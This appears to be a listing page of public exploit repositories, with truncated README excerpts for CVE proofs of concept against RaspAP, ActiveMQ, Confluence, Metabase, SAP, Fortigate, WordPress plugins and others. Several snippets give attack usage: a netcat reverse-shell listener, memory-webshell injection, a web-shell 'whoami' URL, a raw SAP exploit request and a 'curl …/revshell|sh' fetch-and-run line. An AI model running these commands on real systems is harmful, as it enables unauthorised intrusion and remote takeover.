CVE-2022-39986-RaspAP-2.8.0-2.8.7-RCE

RaspAP Hunter RaspAP Hunter 是一个 Bash 脚本，用于扫描 RaspAP 安装并测试特定漏洞 CVE-2022-39986。 / \ / | / \ / // // // // \ / /| | / // / / , // // / / // // | / / // || ,//// ./// ||// // author: mind2hex / / / / / / / // // / / // \ / // \ / / / // // // / / // / / // / // // ,/// // / /// c=====e ,,H...

CVE-2024-45519

CVE-2024-45519 SMTP漏洞利用脚本 概述 该脚本检查SMTP服务器的漏洞，如果发现漏洞，则利用该漏洞向您的机器建立反向Shell连接。 功能特点 端口检查 ：验证目标SMTP端口是否开放。 漏洞检查 ：发送负载以测试SMTP服务器的漏洞。 利用与反向Shell ：如果服务器存在漏洞，脚本将执行反向Shell，使您能够获取远程机器的访问权限。 使用方法 1. 在您的机器上监听 ：运行脚本之前，打开一个终端并监听传入连接： nc -lvnp 4444 （将 4444 替换为您选择的端口，与脚本中的端口一致。） 2. 运行脚本...

cve-2020-11060-poc

CVE-2020-11060 此脚本是基于 Python 3.x 的漏洞利用程序，针对 GLPI 0.85-9.4.5 版本中的 CVE-2020-11060 漏洞。 原始实现：0xdreadnaught Python3 重构：n3rada ExploitDB 上的原始 PoC 现已弃用，因为它使用了 Python 2.x。新版本已提交，若被接受，将在本处添加链接。 构建这些 PoC 时所使用的原始漏洞研究由 AlmondOffSec 完成，可在此处找到：链接。 用法 python3 CVE-2020-11060.py --url 'http://' --user --password...

bitlocker-hardening

🔐 yellowkey-mitigation 针对 CVE-2026-45585 YellowKey 的 BitLocker TPM+PIN 强化措施 针对 WinRE BitLocker 绕过的自动缓解措施——目前尚无完整补丁 🔍 漏洞概述 YellowKey 是一个公开披露的 BitLocker 绕过方法，允许拥有物理访问权限的攻击者在受 BitLocker 保护的 Windows 11 驱动器上获得无限制的 shell——无需恢复密钥、无需 PIN、也无需任何凭据。 Windows 恢复环境中的一个组件 autofstxe.exe 执行事务性 NTFS 回放例程，该例程会删除...

CVE-2023-45878

CVE-2023-45878 Wrote this script based on the work of https://herolab.usd.de/security-advisories/usd-2023-0025/ . The exploit works by using an Arbitrary File Write exploit in Gibbon LMS 25.0.1 . This PoC will use upload a simple php cmd script, and then use that to load a powershell revshell...

cve-2025-49844

CVE-2025-49844 Mi prueba de concepto personal para CVE-2025-49844, también conocido como RediShell. Compilaciones de destino compatibles: Linux x86-64, imagen Docker redis:8.2.1-alpine Linux x86-64, imagen Docker redis:8.2.1-bookworm Es un poco torpe, probablemente no tan bueno como el de Wiz...

Exploit for Incorrect Authorization in Qualcomm Aqt1000_Firmware

Cheese——0Manual AI One-click privilege app: Run cheese...

ActiveMQ-EXPtools

ActiveMQ-EXPtools 支持检测和利用Apache ActiveMQ漏洞，CVE-2015-5254，CVE-2016-3088，CVE-2022-41678，CVE-2023-46604，CVE-2024-32114，CVE-2026-34197，CVE-2026-40466，CVE-2026-42588 !WARNING 本工具仅供安全研究和学习使用。使用者需自行承担因使用此工具产生的所有法律及相关责任。请确保你的行为符合当地的法律和规定。作者不承担任何责任。如不接受，请勿使用此工具。 jdk8启动，Openwire默认端口61616，有时目标环境可能没有开放。apach...

CVE-2022-26134-Godzilla-MEMSHELL

CVE-2022-26134-Godzilla-MEMSHELL Usage java -jar CVE-2022-26134.jar 哥斯拉密码 哥斯拉密钥 example java -jar CVE-2022-26134.jar pass key 如果内存Shell已经注入成功但哥斯拉无法连接,请在请求配置添加以下协议头或者为哥斯拉配置Burp代理 Connection: close C:\CVE202226134jarjava -jar CVE-2022-26134.jar http://10.10.10.10:8090/ pass key url:...

CVE-2024-50498

CVE-2024-50498 Descripción La vulnerabilidad de Control Inadecuado de Generación de Código 'Code Injection' en LUBUS WP Query Console permite la inyección de código. Este problema afecta a WP Query Console: desde n/a hasta 1.0. Configurar el listener de Netcat: Abre una terminal en tu máquina e...

CVE-2022-23935

CVE-2022-23935 🐍 CVE-2022-23935 的 Python 漏洞利用程序 CVE-2022-23935 的分阶段反向 Shell Payload 生成器 示例 cve-2022-23935 10.10.16.3 44444 用法 usage: cve-2022-23935 -h -l SERVERPORT -s SHELL ip port positional arguments: ip 用于回调的 IP 地址/主机 port 用于回调的端口号 options: -h, --help 显示此帮助信息并退出 -l SERVERPORT, --listen...

CVE-2018-8414-POC

CVE-2018-8414 POC Windows Shell 包设置远程代码执行漏洞 影响范围：Windows 10 版本 1703 到 1803 / Windows Server 版本 1709 到 1803 注意：某些情况下利用会因文件位置（默认策略设置）而失败，因此只需将文件复制到包设置目录中，它就应该正确执行。 C:\Users\USER\AppData\Local\Packages\windows.immersivecontrolpanelcw5n1h2txyewy\LocalState\Indexed\Settings\LANGUAGE...

CVE-2024-0039-Exploit

CVE-2024-0039-Exploit 描述 用于利用CVE-2024-0039漏洞的Python脚本：在易受攻击的Android设备上执行任意代码。 注意 ：此代码仅用于教育和创造，服务于正义的一方，可以这么说！ 使用 使用必要参数运行脚本： python exploit.py --cb-host --cb-port --output exploit.mp4 项目结构 exploit.py : 漏洞利用的主脚本，创建恶意MP4文件并记录执行过程。 logs/ : 您教育性创造性恶行的日志目录。 exploit.log : utils/ : 这里存放辅助函数以保持代码整洁...

MetabaseRceTools

MetabaseRceTools CVE-2023-38646 Metabase RCE 工具 CVE-2023-38646 RCE 图形化利用工具 验证模块 输入指定网址即可检测未授权Token 命令执行 该模块首先需要执行验证模块获取token才可以使用 JarLocation：metabase.jar的位置，默认当前目录 内存马注入 目前仅写了cmd和godzilla模式，通过x-client-data控制 x-client-data:cmd 给cmd请求头写命令即可 x-client-data:godzilla 直接连接哥斯拉，默认密码pass...

CVE-2025-28915

CVE-2025-28915 漏洞描述： WordPress是一套使用PHP语言开发的博客平台，该平台支持在PHP和MySQL的服务器上架设个人博客网站。 WordPress ThemeEgg ToolKit 1.2.9及之前版本存在代码问题漏洞，该漏洞源于允许上传危险类型文件，可能导致上传Web Shell。 环境搭建： docker pull wordpress 历史插件：https://github.com/themeegg/themeegg-toolkit/releases/tag/1.2.4 安装插件：http://URL/wp-admin/plugin-install.php...

CVE-2021-30461

受影响的产品 VoIPmonitor 24.60 如何RCE python3 CVE-2021-30461.py -t ipaddress 浏览器Shell: http://x.x.x.x/namrlblgel.php?a=whoami 参考 https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...

CVE-2023-20273

CVE-2023-20273 CVE-2023-20273 Exploit PoC Usage usage: exploit.py -h -t URL -u Username -p Password -c Command | -r -dest Outfile -www | -tcp | -null -ip LocalIP -port LocalPort -fs filesystem -path filepath -operation operationtype -v -q CVE-2023-20273 Exploit PoC options: -h, --help show this...

CVE-2021-44168

CVE-2021-44168 漏洞利用 目的 利用 CVE-2021-44168 在 Fortigate 防火墙上获取一个 shell，并通过 LDPRELOAD 技巧使其在运行某些 Fortigate CLI 命令时执行，从而获得 root shell。 使用 编译： gcc -o gensrc-vispkgfile gensrc-vispkgfile.c -lz 运行： % ./gensrc-vispkgfile ./gensrc-vispkgfile -t | -p filename.img -t 生成测试包，或 -p 生成漏洞利用包。 filename.img 写入此文件。 测试...

CVE-2025-31324

CVE-2025-31324 CVE-2025-31324, Exploit SAP POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate, zstd Accept: / Connection: keep-alive Content-Length: 636 Content-Type:...

CVE-2023-35803

CVE-2023-35804 - RCE no autenticado en puntos de acceso inalámbricos Extreme Networks/Aerohive PoC para puntos de acceso basados en ARM que ejecutan HiveOS/IQ Engine "curl :8000/revshell|sh" Writeup aquí: https://research.aurainfosec.io/pentest/bee-yond-capacity/...